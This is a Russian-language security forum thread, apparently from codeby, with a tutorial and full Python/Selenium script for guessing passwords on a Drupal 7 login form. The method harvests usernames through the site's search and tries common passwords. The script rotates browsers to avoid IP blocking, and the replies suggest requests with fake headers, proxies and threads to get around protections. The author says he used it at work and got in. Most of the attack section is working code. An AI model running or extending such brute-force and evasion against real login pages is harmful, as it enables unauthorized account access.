1. Наш канал codeby в telegram. Пишем об информационной безопасности, методах защиты информации, о программировании. Не пропускай новости с кодебай, будь в тренде ! Подробнее ...

    Скрыть объявление

Конкурс Python+Selenium.Перебор пароля в формах авторизации.

Тема в разделе "Этичный хакинг и тестирование на проникновение", создана пользователем sm0ke, 30 ноя 2017.

  1. sm0ke

    sm0ke Member

    Репутация:
    1
    Регистрация:
    30 ноя 2017
    Сообщения:
    8
    Симпатии:
    18
    Введение
    Приветствую всех специалистов и заинтерисованных Информационной Безопасностью на этом замечательном ресурсе. Хотел бы начать цикл своих статей, возможно кому-нить пригодится в работе или сподвигнет на изучение языков программирования.

    Пожалуй начнем!Я считаю, что каждый ИБ-спец должен уметь программировать, хотя бы функционально, но уметь. Лучший вариант для изучения конечно же Python, он удобен и прост, а так же он прекрасно подходит для автоматизации повседневных задач на скучной работе.

    Сегодня мы напишем скрипт(программу, кому как удобнее) для проверки паролей на сайте c формой авторизации со своими маленькими фишками. Я по своей работе столкнулся с CMS Drupal 7, поэтому и скрипт написан под него.

    Подготовка
    Представим, что в организации, где вы работаете есть сайт и так совпали звезды, что на него завязана довольно серьезная работа, в моем случае это была отчетность и некоторые цифры, которые меняются очень часто для продажи/покупки билетов разных стран. То есть это вполне себе актив, который нужно защищать.

    И вот Вы - молодой специалист ИБ находите на нем форму авторизации и решаете проверить самую первую политику на нем — парольную. Сказано — делаем!

    Для того, что бы проверить на пароли CMS нужно хотя бы знать логины для данного сайта, не перебирать же любые, а на сайте нет никакой информации по пользователю, который её опубликовал. Нас выручит поиск по сайту, почему(?), он как раз и выдает в результатах поиска пользователей данного сайта, проверенно на многих подобных, работает. Вводим «1» в поиск, что бы логинов вывалило побольше и собираем Profit.

    Python+Selenium.Перебор пароля в формах авторизации.

    Как видно из рисунка нам хватит и одного для написания скрипта. Хорошо, логины есть, а как же пароли, спросите Вы. Для простой проверки я просто вбил в Google «top 100 password» и забрал первый попавшийся список, который выдал мне знаменитый поисковик.

    Выбор автоматизации
    Работать с формами сайта, да еще и это все автоматизировать, да желательно наглядно, в этом вопросе нас выручит модуль Selenium - инструмент для тестирования веб-форм.

    Для его работы нужны «некие драйверы»: chromedriver для работы с браузером chrome и geckodriver для работы с браузером Firefox.

    Зачем нужно два браузера? Я подумал, а почему бы и нет, политики сайта возможно настроены так, что бы мониторить количество запросов с одного ip-адреса и в случае чего заблокировать доступ на какое-то время. А если мы будем эмулировать два(три) браузера с какой-либо периодичностью, то может быть сойдем за некий NAT и сервер подумает, что нас много, просто IP один (Но это не точно).

    Находим вышеописанные драйверы на страницах проекта selenium и складываем их в папку проекта. Не забываем так же подтянуть и сам selenium:
    Код:
    pip3 install -U selenium 
    Python+Selenium.Перебор пароля в формах авторизации.
    Отлично половина дела уже сделана, остается написать наш код.

    Пишем код
    Для начала мы подключим все необходимые модули в наш проект:
    Код:
    # -*- coding:utf-8 -*-
    from selenium import webdriver
    from selenium.webdriver.chrome import service
    from selenium.webdriver.common.keys import Keys
    from time import sleep
    import os
    import sys
    import argparse
    from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
    from selenium.webdriver.firefox.firefox_binary import FirefoxBinary
    Что бы было все по взрослому, мы используем стандартный модуль agparser для создания некоего меню. Описываем функцию для того, что бы наш скрипт принимал аргументы из командной строки, аргументов будет два: логин и url формы авторизации:
    Код:
    def createParser ():
        parser = argparse.ArgumentParser(description='Process some value\'s')
        parser.add_argument('-url', '--u' , help = 'Add url admin form for drupal like www.site.org/user',dest='url')
        parser.add_argument ('-login', '--l', help='Add user what you want to check',dest='login')
        return parser
    Теперь напишем свой класс. Почему класс? А тут я отвечу так, я учился писать классы и решил, что было бы круто его сюда вставить, описываем класс который примет аргументы из вышеописанной функции:
    Код:
    class CheckPassForm():
    def __init__(self,url,login):
                self.urls = url
                self.login = login
    Далее мы опишем метод класса который будет поочередно вызывать метод основной логики нашего скрипта и добавим как раз в вызов нужные нам браузеры:
    Код:
    def PasswordChekers(self):
            keys = CheckPassForm.keys.split(', ')
            for i in keys:
                for j in range(0, len(keys)):
                    if j%2 == 0:
                        CheckPassForm.ChooseDriver('Chrome',self.urls, self.login,i)               
                    else:
                        CheckPassForm.ChooseDriver('Firefox',self.urls, self.login,i)
            assert "No results found." not in driver.page_source
    А вот самое интересное, метод класса, который работает непосредственно с формой авторизации:
    Код:
    def ChooseDriver (drivername,urls,login,passwd):
        
            if drivername == 'Chrome':
                driver = webdriver.Chrome()
            else:
                binary = FirefoxBinary (r'C:\\Program Files\\Mozilla Firefox\\firefox.exe')
                fx_capabilities = DesiredCapabilities.FIREFOX.copy()
                fx_capabilities['marionette'] = True
                driver = webdriver.Firefox(firefox_binary=binary,capabilities=fx_capabilities)
        
            driver.get(urls)
            elem = driver.find_element_by_id("edit-name")
            elem.send_keys(login)
            elem_2 = driver.find_element_by_id("edit-pass")
            elem_2.send_keys(passwd)
            result = driver.find_element_by_xpath("//*[@id='edit-submit']")
            result.click()
            sleep(900)
            driver.close()       
    А откуда же берутся пароли?! Да вот же они в кортеже keys, я их разместил прямо в теле класса, что бы не засорять статью я оставил их три:
    Код:
    keys = ('123456, 12345, password')
    Заканчиваем с нашим скриптом. Пропишем его похитрее, сделаем некую защиту от дурака, постараемся поймать все неправильные вводы, используя try/except и пропишем мини-хелп:
    Код:
    if __name__ == "__main__":
        try:
            parser = createParser()
            data = parser.parse_args()
     
            instance = CheckPassForm('http://' + data.url,data.login)
            instance.PasswordChekers()
        except TypeError:
            print ("=" * 50)
            print ("| TOP-100 passdw script does't work whitout keys | \n| \t try and watch> python main.py -h\t | ")
            print ("=" * 50)
    Логика
    Опишем логику нашего скрипта чуть поподробнее:
    1. Забираем аргументы из консоли:
      Код:
      parser = createParser()
      data = parser.parse_args()
    2. Создаем инстанс класса и отдаем ему наши аргументы:
      Код:
      instance = CheckPassForm('http://' + data.url,data.login)
      
      instance.PasswordChekers()
    3. PasswordChekers(self) - метод который посчитает длину кортежа keys, где хранятся пароли и примет решение на четный пароль вызывать chrome, на нечетный firefox и отдаст их арументы и выбор браузера методу ChooseDriver().
    4. ChooseDriver() - метод который откроет наш браузер, вставит в адресную строку url, найдет элементы полей авторизации: edit-name и edit-pass. Внесет в них необходимые данные.
      После этого скрипт отыщет кнопку по Xpath щелкнет по нему, выждет 15 минут и закроет драйвер.
    5. Так как у нас работает цикл for, то все действия с п.3 по п.4 повторятся заново, но с другим браузером.
    Конечно я уже слышу вопросы, а как же найти элементы формы, для этого мне пришлось прослушать лекцию по автоматизации неизвестного мне лектора, который показал это очень наглядно в браузере Firefox:

    Python+Selenium.Перебор пароля в формах авторизации.

    Снизу выпадает инспектор с выделенным элементом, правой кнопкой мыши тычем по этому элементу:

    Python+Selenium.Перебор пароля в формах авторизации.

    Скопированный результат используем в нашем скрипте, аналогично ищутся элементы html edit-name и edit-pass.

    Запуск
    Давайте уже запустим и проверим как же оно все работает, я использую сайт, который точно знаю по какому url у него адрес формы авторизации, но логин намеренно использую не тот который нашел для демонстрации работы:

    Python+Selenium.Перебор пароля в формах авторизации.

    Запускается первый браузер:

    Python+Selenium.Перебор пароля в формах авторизации.

    Через 15 минут второй:

    Python+Selenium.Перебор пароля в формах авторизации.

    Результат в обоих случаях отрицательный:

    Python+Selenium.Перебор пароля в формах авторизации.

    Заключение
    Данный скрипт не призыв к действию, а только возможность научится писать и использовать код в рабочих целях. В статье намеренно использован Drupal 7, так как он имеет политику блокировки IP по большому количеству запросов на форму авторизации, скрипт намеренно не описывает логику поведения после получения авторизации.

    Скрипт был реально применен мной в своей работе, каково же было мое удивление, что на втором пароле прошла авторизация по давно забытому логину.

    Спасибо что прочитали и всем удачи!

    Код:
    # -*- coding:utf-8 -*-
    from selenium import webdriver
    from selenium.webdriver.chrome import service
    from selenium.webdriver.common.keys import Keys
    from time import sleep
    import os
    import sys
    import argparse
    from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
    from selenium.webdriver.firefox.firefox_binary import FirefoxBinary
    
    '''Большое количество запросов кидает в блок'''
     
    def createParser ():
        parser = argparse.ArgumentParser(description='Process some value\'s')
        parser.add_argument('-url', '--u' , help = 'Add url admin form for drupal like www.site.org/user',dest='url')
        parser.add_argument ('-login', '--l', help='Add user what you want to check',dest='login')
        return parser
    
    
    '''Класс драйвера и методов'''
    
    class CheckPassForm():
      
        keys = ('123456, 12345, password')
      
        def __init__(self,url,login):
                self.urls = url
                self.login = login
      
        def ChooseDriver (drivername,urls,login,passwd):
          
            if drivername == 'Chrome':
                driver = webdriver.Chrome()
            else:
                binary = FirefoxBinary (r'C:\\Program Files\\Mozilla Firefox\\firefox.exe')
                fx_capabilities = DesiredCapabilities.FIREFOX.copy()
                fx_capabilities['marionette'] = True
                driver = webdriver.Firefox(firefox_binary=binary,capabilities=fx_capabilities)
          
            driver.get(urls)
            elem = driver.find_element_by_id("edit-name")
            elem.send_keys(login)
            elem_2 = driver.find_element_by_id("edit-pass")
            elem_2.send_keys(passwd)
            result = driver.find_element_by_xpath("//*[@id='edit-submit']")
            result.click()
            sleep(900)
            driver.close()     
      
        def PasswordChekers(self):
            keys = CheckPassForm.keys.split(', ')
            for i in keys:
                for j in range(0, len(keys)):
                    if j%2 == 0:
                        CheckPassForm.ChooseDriver('Chrome',self.urls, self.login,i)                   
                    else:
                        CheckPassForm.ChooseDriver('Firefox',self.urls, self.login,i)
            assert "No results found." not in driver.page_source
      
    
    if __name__ == "__main__":
        try:
            parser = createParser()
            data = parser.parse_args()
      
            instance = CheckPassForm('http://' + data.url,data.login)
            instance.PasswordChekers()
        except TypeError:
            print ("=" * 50)
            print ("| TOP-100 passdw script does't work whitout keys | \n| \t try and watch> python main.py -h\t | ")
            print ("=" * 50)
     

    Вложения:

    #1 sm0ke, 30 ноя 2017
    Последнее редактирование: 1 дек 2017
    Drovos3k, Shihskauskas, a113 и 11 другим нравится это.
  2. ~~^Shad0w __ Just1ce^~~

    ~~^Shad0w __ Just1ce^~~ ~^_Wired FaLc❍n_^~
    ELEET

    Репутация:
    22
    Регистрация:
    19 окт 2016
    Сообщения:
    695
    Симпатии:
    2.277
    Автор, спасибо! Статья очень хороша. Да и если честно говоря селениум либу на днях собирался смотреть) А тут еще и на нашем форуме про нее расписали. Огонь)
    --- Добавлено 1 дек 2017. Первое сообщение размещено 1 дек 2017 ---
    Но всеравно для брута использовать селениум не рационально.
    -Почему?
    -Дополнительная нагрузка на систему(открывается два браузера,можно ведь изменять хттп заголовки в в том числе юзер агент)
    -Какая библиотека справится с брутом лучше чем селениум?
    - Я могу смело советовать библиотеку requests (она выполняет все действия в консоли,опят же таки можно добавить список рандомных хттп заголовков и те же юзерагенты и прокси и много много чего для обхода базовой защиты. К тому же функцию самого брута можно использовать с многопочностю, в случае с селениум брут в 16 потоков == это 16 запущенных браузеров.
     
    sm0ke нравится это.
  3. sm0ke

    sm0ke Member

    Репутация:
    1
    Регистрация:
    30 ноя 2017
    Сообщения:
    8
    Симпатии:
    18
    Спасибо за первую часть комментария.
    По реквест модулю, звучит как вызов, да и потоки я знаю как реализовывать. Попробую сегодня набросать, может и вторая статья получится.
    Селениум был выбран для наглядности, как описано в статье использовался в работе, что бы именно показать работу перебора и получения доступа высокому начальству(тип не фигней на работе занимаюсь:))
     
    #3 sm0ke, 1 дек 2017
    Последнее редактирование: 1 дек 2017
    Ondrik8 и ~~DarkNode~~ нравится это.
  4. swap3r

    swap3r Member

    Репутация:
    0
    Регистрация:
    6 ноя 2016
    Сообщения:
    20
    Симпатии:
    16
    есть ли возможность многопоточности, чтобы приблизиться к тому же zennoposter, или phantomjs
     
  5. sm0ke

    sm0ke Member

    Репутация:
    1
    Регистрация:
    30 ноя 2017
    Сообщения:
    8
    Симпатии:
    18
    По идее можно убрать запуск браузеров в фон, и создавать Thread инстансы, что увеличит работоспособность программы. Сейчас в замороженном состоянии из-за челенджа по питону вторая версия скрипта с базой паролей на 1000 штук, базой поддельных хэдеров и многопоточностью. Состояние исполнения 70%.
     
    Ondrik8 нравится это.
  6. Ondrik8

    Ondrik8 prodigy
    Red Team

    Репутация:
    12
    Регистрация:
    8 ноя 2016
    Сообщения:
    631
    Симпатии:
    1.670
    ооочень шикарная статья! давно ждал подобное не удержался написать похвалу в твою сторону! Спасибо)
     
    sm0ke нравится это.
  7. sm0ke

    sm0ke Member

    Репутация:
    1
    Регистрация:
    30 ноя 2017
    Сообщения:
    8
    Симпатии:
    18
    Спасибо!
     
  8. asdffs

    asdffs Member

    Репутация:
    0
    Регистрация:
    29 ноя 2017
    Сообщения:
    10
    Симпатии:
    4
    статья хорошая как описание работы с селениум, но такой брут на впске за $7 не погоняешь конечно
     
  9. sm0ke

    sm0ke Member

    Репутация:
    1
    Регистрация:
    30 ноя 2017
    Сообщения:
    8
    Симпатии:
    18
    Конечно же нет =)
    Просто я начинаю с малого, что бы закончить чем то серьезным.
     
  10. Shihskauskas

    Shihskauskas Member

    Репутация:
    0
    Регистрация:
    6 ноя 2017
    Сообщения:
    14
    Симпатии:
    2
    Научусь писать классы =) Спасибо за модуль;)
     
  11. swap3r

    swap3r Member

    Репутация:
    0
    Регистрация:
    6 ноя 2016
    Сообщения:
    20
    Симпатии:
    16
    Спасибо за статью.
    Я для похожих целей в многопотоке использую zennoposter (платно и не сильно дешево), можно еще browser automation studio (bablosoft.com) использовать (этот бесплатный, но интерфейс очень странный).
    Но, хотелось бы еще научиться этим методом поднимать инстансы (в идеале файерфоксовские с плагинами со сменой юзерагента и остального) во многопотоке с использованием отдельных настроек (прокси, юзерагенты, таймзоны, и все остальное, что детектят детекты) для каждого инстанса. Уважаемый Smoke, сможете об этом написать немного (возможно, не только мне интересно будет)? Причем, интересует не столько брут чего-то, сколько выбор элементов на странице, клик по ним, парсинг html текста страницы, итд.
     
    sm0ke нравится это.
  12. sm0ke

    sm0ke Member

    Репутация:
    1
    Регистрация:
    30 ноя 2017
    Сообщения:
    8
    Симпатии:
    18
    Готовится вторая часть на библиотеке реквестс. Готовность 70%. Как опубликую ее подумаю как реализовать Ваше предложение в условиях тематики Codeby, думаю вам стоит сформулировать более четкий запрос мне в лс. Там точно и определимся.
     
    swap3r нравится это.
  13. swap3r

    swap3r Member

    Репутация:
    0
    Регистрация:
    6 ноя 2016
    Сообщения:
    20
    Симпатии:
    16
    sm0ke, спасибо. Да у меня не особо есть какие-то запросы, я для себя все равно на зеннопостере реализовую то, что мне нужно. Я больше к тому, чтобы кто-то потом мог реализовывать простые элементарные вещи по скрапингу во многопотоке, имхо, это будет интересно.
     
Загрузка...

Поделиться этой страницей